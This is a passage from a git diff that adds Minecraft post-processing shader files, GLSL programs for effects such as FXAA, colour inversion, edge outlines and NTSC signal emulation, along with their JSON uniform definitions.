] }, + { "name": "RedMatrix", "type": "float", "count": 3, "values": [ 1.0, 0.0, 0.0 ] }, + { "name": "GreenMatrix", "type": "float", "count": 3, "values": [ 0.0, 1.0, 0.0 ] }, + { "name": "BlueMatrix", "type": "float", "count": 3, "values": [ 0.0, 0.0, 1.0 ] }, + { "name": "Offset", "type": "float", "count": 3, "values": [ 0.0, 0.0, 0.0 ] }, + { "name": "ColorScale", "type": "float", "count": 3, "values": [ 1.0, 1.0, 1.0 ] }, + { "name": "Saturation", "type": "float", "count": 1, "values": [ 1.8 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/deconverge.fsh b/src/assets/minecraft/shaders/program/deconverge.fsh new file mode 100644 index 00000000..8df22faf --- /dev/null +++ b/src/assets/minecraft/shaders/program/deconverge.fsh @@ -0,0 +1,28 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform vec3 ConvergeX; +uniform vec3 ConvergeY; +uniform vec3 RadialConvergeX; +uniform vec3 RadialConvergeY; + +void main() { + vec3 CoordX = texCoord.x * RadialConvergeX; + vec3 CoordY = texCoord.y * RadialConvergeY; + + CoordX += ConvergeX * oneTexel.x - (RadialConvergeX - 1.0) * 0.5; + CoordY += ConvergeY * oneTexel.y - (RadialConvergeY - 1.0) * 0.5; + + float RedValue = texture2D(DiffuseSampler, vec2(CoordX.x, CoordY.x)).r; + float GreenValue = texture2D(DiffuseSampler, vec2(CoordX.y, CoordY.y)).g; + float BlueValue = texture2D(DiffuseSampler, vec2(CoordX.z, CoordY.z)).b; + float AlphaValue = texture2D(DiffuseSampler, texCoord).a; + + gl_FragColor = vec4(RedValue, GreenValue, BlueValue, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/deconverge.json b/src/assets/minecraft/shaders/program/deconverge.json new file mode 100644 index 00000000..e23e9c56 --- /dev/null +++ b/src/assets/minecraft/shaders/program/deconverge.json @@ -0,0 +1,22 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "deconverge", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "ConvergeX", "type": "float", "count": 3, "values": [ -4.0, 0.0, 2.0 ] }, + { "name": "ConvergeY", "type": "float", "count": 3, "values": [ 0.0, -4.0, 2.0 ] }, + { "name": "RadialConvergeX", "type": "float", "count": 3, "values": [ 1.0, 1.0, 1.0 ] }, + { "name": "RadialConvergeY", "type": "float", "count": 3, "values": [ 1.0, 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/downscale.fsh b/src/assets/minecraft/shaders/program/downscale.fsh new file mode 100644 index 00000000..a070717d --- /dev/null +++ b/src/assets/minecraft/shaders/program/downscale.fsh @@ -0,0 +1,17 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +void main() { + vec3 Texel0 = texture2D(DiffuseSampler, texCoord).rgb; + vec3 Texel1 = texture2D(DiffuseSampler, texCoord + vec2(oneTexel.x, 0.0)).rgb; + vec3 Texel2 = texture2D(DiffuseSampler, texCoord + vec2(0.0, oneTexel.y)).rgb; + vec3 Texel3 = texture2D(DiffuseSampler, texCoord + oneTexel).rgb; + + gl_FragColor = vec4((Texel0 + Texel1 + Texel2 + Texel3) * 0.25, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/downscale.json b/src/assets/minecraft/shaders/program/downscale.json new file mode 100644 index 00000000..9099ec16 --- /dev/null +++ b/src/assets/minecraft/shaders/program/downscale.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "downscale", + "fragment": "downscale", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/downscale.vsh b/src/assets/minecraft/shaders/program/downscale.vsh new file mode 100644 index 00000000..7282db2e --- /dev/null +++ b/src/assets/minecraft/shaders/program/downscale.vsh @@ -0,0 +1,18 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; +uniform vec2 OutSize; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + oneTexel = 1.0 / InSize; + texCoord = outPos.xy * 0.5 + 0.5; +} diff --git a/src/assets/minecraft/shaders/program/entity_outline.json b/src/assets/minecraft/shaders/program/entity_outline.json new file mode 100644 index 00000000..d7c77631 --- /dev/null +++ b/src/assets/minecraft/shaders/program/entity_outline.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "srcalpha", + "dstrgb": "1-srcalpha" + }, + "vertex": "sobel", + "fragment": "entity_sobel", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/entity_sobel.fsh b/src/assets/minecraft/shaders/program/entity_sobel.fsh new file mode 100644 index 00000000..635cae0d --- /dev/null +++ b/src/assets/minecraft/shaders/program/entity_sobel.fsh @@ -0,0 +1,21 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 center = texture2D(DiffuseSampler, texCoord); + vec4 left = texture2D(DiffuseSampler, texCoord - vec2(oneTexel.x, 0.0)); + vec4 right = texture2D(DiffuseSampler, texCoord + vec2(oneTexel.x, 0.0)); + vec4 up = texture2D(DiffuseSampler, texCoord - vec2(0.0, oneTexel.y)); + vec4 down = texture2D(DiffuseSampler, texCoord + vec2(0.0, oneTexel.y)); + float leftDiff = abs(center.a - left.a); + float rightDiff = abs(center.a - right.a); + float upDiff = abs(center.a - up.a); + float downDiff = abs(center.a - down.a); + float total = clamp(leftDiff + rightDiff + upDiff + downDiff, 0.0, 1.0); + vec3 outColor = center.rgb * center.a + left.rgb * left.a + right.rgb * right.a + up.rgb * up.a + down.rgb * down.a; + gl_FragColor = vec4(outColor * 0.2, total); +} diff --git a/src/assets/minecraft/shaders/program/flip.json b/src/assets/minecraft/shaders/program/flip.json new file mode 100644 index 00000000..b9c78f45 --- /dev/null +++ b/src/assets/minecraft/shaders/program/flip.json @@ -0,0 +1,20 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "flip", + "fragment": "blit", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "ScreenSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "ColorModulate", "type": "float", "count": 4, "values": [ 1.0, 1.0, 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/flip.vsh b/src/assets/minecraft/shaders/program/flip.vsh new file mode 100644 index 00000000..f479e319 --- /dev/null +++ b/src/assets/minecraft/shaders/program/flip.vsh @@ -0,0 +1,23 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; +uniform vec2 OutSize; +uniform vec2 ScreenSize; + +varying vec2 texCoord; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + vec2 inOutRatio = OutSize / InSize; + vec2 inScreenRatio = ScreenSize / InSize; + texCoord = Position.xy / OutSize; + texCoord.y = 1.0 - texCoord.y; + texCoord.x = texCoord.x * inOutRatio.x; + texCoord.y = texCoord.y * inOutRatio.y; + texCoord.y -= 1.0 - inScreenRatio.y; +} diff --git a/src/assets/minecraft/shaders/program/fxaa.fsh b/src/assets/minecraft/shaders/program/fxaa.fsh new file mode 100644 index 00000000..217d28c9 --- /dev/null +++ b/src/assets/minecraft/shaders/program/fxaa.fsh @@ -0,0 +1,85 @@ +#version 110 +#extension GL_EXT_gpu_shader4 : enable + +uniform sampler2D DiffuseSampler; +uniform vec2 OutSize; + +uniform float VxOffset; +uniform float SpanMax; +uniform float ReduceMul; + +varying vec2 texCoord; +varying vec4 posPos; + +#define FxaaTex(t, p) texture2D(t, p) + +#if __VERSION__ >= 130 + #define OffsetVec(a, b) ivec2(a, b) + #define FxaaTexOff(t, p, o, r) textureOffset(t, p, o) +#elif defined(GL_EXT_gpu_shader4) + #define OffsetVec(a, b) ivec2(a, b) + #define FxaaTexOff(t, p, o, r) texture2DLodOffset(t, p, 0.0, o) +#else + #define OffsetVec(a, b) vec2(a, b) + #define FxaaTexOff(t, p, o, r) texture2D(t, p + o * r) +#endif + +vec3 FxaaPixelShader( + vec4 posPos, // Output of FxaaVertexShader interpolated across screen. + sampler2D tex, // Input texture. + vec2 rcpFrame) // Constant {1.0/frameWidth, 1.0/frameHeight}. +{ + + #define FXAA_REDUCE_MIN (1.0/128.0) + //#define FXAA_REDUCE_MUL (1.0/8.0) + //#define FXAA_SPAN_MAX 8.0 + + vec3 rgbNW = FxaaTex(tex, posPos.zw).xyz; + vec3 rgbNE = FxaaTexOff(tex, posPos.zw, OffsetVec(1,0), rcpFrame.xy).xyz; + vec3 rgbSW = FxaaTexOff(tex, posPos.zw, OffsetVec(0,1), rcpFrame.xy).xyz; + vec3 rgbSE = FxaaTexOff(tex, posPos.zw, OffsetVec(1,1), rcpFrame.xy).xyz; + + vec3 rgbM = FxaaTex(tex, posPos.xy).xyz; + + vec3 luma = vec3(0.299, 0.587, 0.114); + float lumaNW = dot(rgbNW, luma); + float lumaNE = dot(rgbNE, luma); + float lumaSW = dot(rgbSW, luma); + float lumaSE = dot(rgbSE, luma); + float lumaM = dot(rgbM, luma); + + float lumaMin = min(lumaM, min(min(lumaNW, lumaNE), min(lumaSW, lumaSE))); + float lumaMax = max(lumaM, max(max(lumaNW, lumaNE), max(lumaSW, lumaSE))); + + vec2 dir; + dir.x = -((lumaNW + lumaNE) - (lumaSW + lumaSE)); + dir.y = ((lumaNW + lumaSW) - (lumaNE + lumaSE)); + + float dirReduce = max( + (lumaNW + lumaNE + lumaSW + lumaSE) * (0.25 * ReduceMul), + FXAA_REDUCE_MIN); + float rcpDirMin = 1.0/(min(abs(dir.x), abs(dir.y)) + dirReduce); + dir = min(vec2( SpanMax, SpanMax), + max(vec2(-SpanMax, -SpanMax), + dir * rcpDirMin)) * rcpFrame.xy; + + vec3 rgbA = (1.0/2.0) * ( + FxaaTex(tex, posPos.xy + dir * vec2(1.0/3.0 - 0.5)).xyz + + FxaaTex(tex, posPos.xy + dir * vec2(2.0/3.0 - 0.5)).xyz); + vec3 rgbB = rgbA * (1.0/2.0) + (1.0/4.0) * ( + FxaaTex(tex, posPos.xy + dir * vec2(0.0/3.0 - 0.5)).xyz + + FxaaTex(tex, posPos.xy + dir * vec2(3.0/3.0 - 0.5)).xyz); + + float lumaB = dot(rgbB, luma); + + if ((lumaB < lumaMin) || (lumaB > lumaMax)) { + return rgbA; + } else { + return rgbB; + } +} + +void main() { + vec4 baseTexel = texture2D(DiffuseSampler, posPos.xy); + gl_FragColor = vec4(FxaaPixelShader(posPos, DiffuseSampler, 1.0 / OutSize), 1.0); +} diff --git a/src/assets/minecraft/shaders/program/fxaa.json b/src/assets/minecraft/shaders/program/fxaa.json new file mode 100644 index 00000000..eb850732 --- /dev/null +++ b/src/assets/minecraft/shaders/program/fxaa.json @@ -0,0 +1,20 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "fxaa", + "fragment": "fxaa", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "SpanMax", "type": "float", "count": 1, "values": [ 8.0 ] }, + { "name": "SubPixelShift", "type": "float", "count": 1, "values": [ 0.25 ] }, + { "name": "ReduceMul", "type": "float", "count": 1, "values": [ 0.125 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/fxaa.vsh b/src/assets/minecraft/shaders/program/fxaa.vsh new file mode 100644 index 00000000..ee711cf4 --- /dev/null +++ b/src/assets/minecraft/shaders/program/fxaa.vsh @@ -0,0 +1,20 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 OutSize; + +uniform float SubPixelShift; + +varying vec2 texCoord; +varying vec4 posPos; + +void main() { + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + texCoord = Position.xy / OutSize; + posPos.xy = texCoord.xy; + posPos.zw = texCoord.xy - (1.0/OutSize * vec2(0.5 + SubPixelShift)); +} diff --git a/src/assets/minecraft/shaders/program/invert.fsh b/src/assets/minecraft/shaders/program/invert.fsh new file mode 100644 index 00000000..356b3dce --- /dev/null +++ b/src/assets/minecraft/shaders/program/invert.fsh @@ -0,0 +1,14 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; + +uniform float InverseAmount; + +void main(){ + vec4 diffuseColor = texture2D(DiffuseSampler, texCoord); + vec4 invertColor = 1.0 - diffuseColor; + vec4 outColor = mix(diffuseColor, invertColor, InverseAmount); + gl_FragColor = vec4(outColor.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/invert.json b/src/assets/minecraft/shaders/program/invert.json new file mode 100644 index 00000000..f9ab649c --- /dev/null +++ b/src/assets/minecraft/shaders/program/invert.json @@ -0,0 +1,19 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "blit", + "fragment": "invert", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "InverseAmount", "type": "float", "count": 1, "values": [ 0.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/invert.vsh b/src/assets/minecraft/shaders/program/invert.vsh new file mode 100644 index 00000000..2fe497c7 --- /dev/null +++ b/src/assets/minecraft/shaders/program/invert.vsh @@ -0,0 +1,20 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; +uniform vec2 OutSize; + +varying vec2 texCoord; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + vec2 sizeRatio = OutSize / InSize; + texCoord = Position.xy / OutSize; + texCoord.x = texCoord.x * sizeRatio.x; + texCoord.y = texCoord.y * sizeRatio.y; + texCoord.y = sizeRatio.y - texCoord.y; +} diff --git a/src/assets/minecraft/shaders/program/notch.fsh b/src/assets/minecraft/shaders/program/notch.fsh new file mode 100644 index 00000000..941f9fb1 --- /dev/null +++ b/src/assets/minecraft/shaders/program/notch.fsh @@ -0,0 +1,23 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D DitherSampler; + +varying vec2 texCoord; + +uniform vec2 InSize; + +void main() { + vec2 halfSize = InSize * 0.5; + + vec2 steppedCoord = texCoord; + steppedCoord.x = float(int(steppedCoord.x*halfSize.x)) / halfSize.x; + steppedCoord.y = float(int(steppedCoord.y*halfSize.y)) / halfSize.y; + + vec4 noise = texture2D(DitherSampler, steppedCoord * halfSize / 4.0); + vec4 col = texture2D(DiffuseSampler, steppedCoord) + noise * vec4(1.0/12.0, 1.0/12.0, 1.0/6.0, 1.0); + float r = float(int(col.r*8.0))/8.0; + float g = float(int(col.g*8.0))/8.0; + float b = float(int(col.b*4.0))/4.0; + gl_FragColor = vec4(r, g, b, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/notch.json b/src/assets/minecraft/shaders/program/notch.json new file mode 100644 index 00000000..e6ff9a81 --- /dev/null +++ b/src/assets/minecraft/shaders/program/notch.json @@ -0,0 +1,19 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "notch", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" }, + { "name": "DitherSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/ntsc_decode.fsh b/src/assets/minecraft/shaders/program/ntsc_decode.fsh new file mode 100644 index 00000000..fef0027c --- /dev/null +++ b/src/assets/minecraft/shaders/program/ntsc_decode.fsh @@ -0,0 +1,132 @@ +#version 110 + +uniform sampler2D DiffuseSampler; +uniform sampler2D BaseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +const vec4 Zero = vec4(0.0); +const vec4 One = vec4(1.0); + +const float Pi = 3.1415926535; +const float Pi2 = 6.283185307; + +const vec4 A2 = vec4(1.0); +const vec4 B = vec4(0.5); +const float P = 1.0; +const float CCFrequency = 3.59754545; +const float NotchWidth = 2.0; +const float NotchUpperFrequency = 3.59754545 + NotchWidth; +const float NotchLowerFrequency = 3.59754545 - NotchWidth; +const float YFrequency = 6.0; +const float IFrequency = 1.2; +const float QFrequency = 0.6; +const float ScanTime = 52.6; +const vec3 YIQ2R = vec3(1.0, 0.956, 0.621); +const vec3 YIQ2G = vec3(1.0, -0.272, -0.647); +const vec3 YIQ2B = vec3(1.0, -1.106, 1.703); +const vec4 MinC = vec4(-1.1183); +const vec4 CRange = vec4(3.2366); +const float Pi2Length = Pi2 / 83.0; +const vec4 NotchOffset = vec4(0.0, 1.0, 2.0, 3.0); +const vec4 W = vec4(Pi2 * CCFrequency * ScanTime); + +void main() { + vec4 YAccum = Zero; + vec4 IAccum = Zero; + vec4 QAccum = Zero; + float QuadXSize = InSize.x * 4.0; + float TimePerSample = ScanTime / QuadXSize; + + // Frequency cutoffs for the individual portions of the signal that we extract. + // Y1 and Y2 are the positive and negative frequency limits of the notch filter on Y. + // Y3 is the center of the frequency response of the Y filter. + // I is the center of the frequency response of the I filter. + // Q is the center of the frequency response of the Q filter. + float Fc_y1 = NotchLowerFrequency * TimePerSample; + float Fc_y2 = NotchUpperFrequency * TimePerSample; + float Fc_y3 = YFrequency * TimePerSample; + float Fc_i = IFrequency * TimePerSample; + float Fc_q = QFrequency * TimePerSample; + float Pi2Fc_y1 = Fc_y1 * Pi2; + float Pi2Fc_y2 = Fc_y2 * Pi2; + float Pi2Fc_y3 = Fc_y3 * Pi2; + float Pi2Fc_i = Fc_i * Pi2; + float Pi2Fc_q = Fc_q * Pi2; + float Fc_y1_2 = Fc_y1 * 2.0; + float Fc_y2_2 = Fc_y2 * 2.0; + float Fc_y3_2 = Fc_y3 * 2.0; + float Fc_i_2 = Fc_i * 2.0; + float Fc_q_2 = Fc_q * 2.0; + vec4 CoordY = vec4(texCoord.y); + + vec4 BaseTexel = texture2D(DiffuseSampler, texCoord); + // 83 composite samples wide, 4 composite pixels per texel + for (float n = -41.0; n < 42.0; n += 4.0) + { + vec4 n4 = n + NotchOffset; + vec4 CoordX = texCoord.x + oneTexel.x * n4 * 0.25; + vec2 TexCoord = vec2(CoordX.x, CoordY.y); + vec4 C = texture2D(DiffuseSampler, TexCoord) * CRange + MinC; + vec4 WT = W * (CoordX + A2 * CoordY * InSize.y + B); + vec4 Cosine = 0.54 + 0.46 * cos(Pi2Length * n4); + + vec4 SincYIn1 = Pi2Fc_y1 * n4; + vec4 SincYIn2 = Pi2Fc_y2 * n4; + vec4 SincYIn3 = Pi2Fc_y3 * n4; + vec4 SincY1 = sin(SincYIn1) / SincYIn1; + vec4 SincY2 = sin(SincYIn2) / SincYIn2; + vec4 SincY3 = sin(SincYIn3) / SincYIn3; + + // These zero-checks could be made more efficient, but we are trying to support + // downlevel GLSL + if(SincYIn1.x == 0.0) SincY1.x = 1.0; + if(SincYIn1.y == 0.0) SincY1.y = 1.0; + if(SincYIn1.z == 0.0) SincY1.z = 1.0; + if(SincYIn1.w == 0.0) SincY1.w = 1.0; + if(SincYIn2.x == 0.0) SincY2.x = 1.0; + if(SincYIn2.y == 0.0) SincY2.y = 1.0; + if(SincYIn2.z == 0.0) SincY2.z = 1.0; + if(SincYIn2.w == 0.0) SincY2.w = 1.0; + if(SincYIn3.x == 0.0) SincY3.x = 1.0; + if(SincYIn3.y == 0.0) SincY3.y = 1.0; + if(SincYIn3.z == 0.0) SincY3.z = 1.0; + if(SincYIn3.w == 0.0) SincY3.w = 1.0; + vec4 IdealY = (Fc_y1_2 * SincY1 - Fc_y2_2 * SincY2) + Fc_y3_2 * SincY3; + vec4 FilterY = Cosine * IdealY; + + vec4 SincIIn = Pi2Fc_i * n4; + vec4 SincI = sin(SincIIn) / SincIIn; + if(SincIIn.x == 0.0) SincI.x = 1.0; + if(SincIIn.y == 0.0) SincI.y = 1.0; + if(SincIIn.z == 0.0) SincI.z = 1.0; + if(SincIIn.w == 0.0) SincI.w = 1.0; + vec4 IdealI = Fc_i_2 * SincI; + vec4 FilterI = Cosine * IdealI; + + vec4 SincQIn = Pi2Fc_q * n4; + vec4 SincQ = sin(SincQIn) / SincQIn; + if(SincQIn.x == 0.0) SincQ.x = 1.0; + if(SincQIn.y == 0.0) SincQ.y = 1.0; + if(SincQIn.z == 0.0) SincQ.z = 1.0; + if(SincQIn.w == 0.0) SincQ.w = 1.0; + vec4 IdealQ = Fc_q_2 * SincQ; + vec4 FilterQ = Cosine * IdealQ; + + YAccum += C * FilterY; + IAccum += C * cos(WT) * FilterI; + QAccum += C * sin(WT) * FilterQ; + } + + float Y = dot(YAccum, One); + float I = dot(IAccum, One) * 2.0; + float Q = dot(QAccum, One) * 2.0; + + vec3 YIQ = vec3(Y, I, Q); + vec3 OutRGB = vec3(dot(YIQ, YIQ2R), dot(YIQ, YIQ2G), dot(YIQ, YIQ2B)); + + gl_FragColor = vec4(OutRGB, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/ntsc_decode.json b/src/assets/minecraft/shaders/program/ntsc_decode.json new file mode 100644 index 00000000..28709230 --- /dev/null +++ b/src/assets/minecraft/shaders/program/ntsc_decode.json @@ -0,0 +1,19 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "ntsc_decode", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" }, + { "name": "BaseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/ntsc_encode.fsh b/src/assets/minecraft/shaders/program/ntsc_encode.fsh new file mode 100644 index 00000000..06c2d9d1 --- /dev/null +++ b/src/assets/minecraft/shaders/program/ntsc_encode.fsh @@ -0,0 +1,50 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +const float Pi2 = 6.283185307; + +const vec4 A2 = vec4(1.0); +const vec4 B = vec4(0.5); +const float P = 1.0; +const float CCFrequency = 3.59754545; +const float ScanTime = 52.6; +const float Pi2ScanTime = Pi2 * ScanTime; +const vec4 YTransform = vec4(0.299, 0.587, 0.114, 0.0); +const vec4 ITransform = vec4(0.595716, -0.274453, -0.321263, 0.0); +const vec4 QTransform = vec4(0.211456, -0.522591, 0.31135, 0.0); +const vec4 MinC = vec4(-1.1183); +const vec4 InvCRange = vec4(1.0 / 3.2366); + +void main() { + vec2 InverseP = vec2(P, 0.0) * oneTexel; + + // UVs for four linearly-interpolated samples spread 0.25 texels apart + vec2 C0 = texCoord; + vec2 C1 = texCoord + InverseP * 0.25; + vec2 C2 = texCoord + InverseP * 0.50; + vec2 C3 = texCoord + InverseP * 0.75; + vec4 Cx = vec4(C0.x, C1.x, C2.x, C3.x); + vec4 Cy = vec4(C0.y, C1.y, C2.y, C3.y); + + vec4 Texel0 = texture2D(DiffuseSampler, C0); + vec4 Texel1 = texture2D(DiffuseSampler, C1); + vec4 Texel2 = texture2D(DiffuseSampler, C2); + vec4 Texel3 = texture2D(DiffuseSampler, C3); + + // Calculate the expected time of the sample. + vec4 T = A2 * Cy * vec4(InSize.y) + B + Cx; + vec4 W = vec4(Pi2ScanTime * CCFrequency); + vec4 TW = T * W; + vec4 Y = vec4(dot(Texel0, YTransform), dot(Texel1, YTransform), dot(Texel2, YTransform), dot(Texel3, YTransform)); + vec4 I = vec4(dot(Texel0, ITransform), dot(Texel1, ITransform), dot(Texel2, ITransform), dot(Texel3, ITransform)); + vec4 Q = vec4(dot(Texel0, QTransform), dot(Texel1, QTransform), dot(Texel2, QTransform), dot(Texel3, QTransform)); + + vec4 Encoded = Y + I * cos(TW) + Q * sin(TW); + gl_FragColor = (Encoded - MinC) * InvCRange; +} diff --git a/src/assets/minecraft/shaders/program/ntsc_encode.json b/src/assets/minecraft/shaders/program/ntsc_encode.json new file mode 100644 index 00000000..2cda4dff --- /dev/null +++ b/src/assets/minecraft/shaders/program/ntsc_encode.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "ntsc_encode", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/outline.fsh b/src/assets/minecraft/shaders/program/outline.fsh new file mode 100644 index 00000000..061d3a59 --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline.fsh @@ -0,0 +1,21 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 center = texture2D(DiffuseSampler, texCoord); + vec4 up = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y)); + vec4 down = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0)); + vec4 left = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0)); + vec4 right = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y)); + vec4 uDiff = center - up; + vec4 dDiff = center - down; + vec4 lDiff = center - left; + vec4 rDiff = center - right; + vec4 sum = uDiff + dDiff + lDiff + rDiff; + vec3 clamped = clamp(center.rgb - sum.rgb, 0.0, 1.0); + gl_FragColor = vec4(clamped, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/outline.json b/src/assets/minecraft/shaders/program/outline.json new file mode 100644 index 00000000..7d41382b --- /dev/null +++ b/src/assets/minecraft/shaders/program/outline.json @@ -0,0 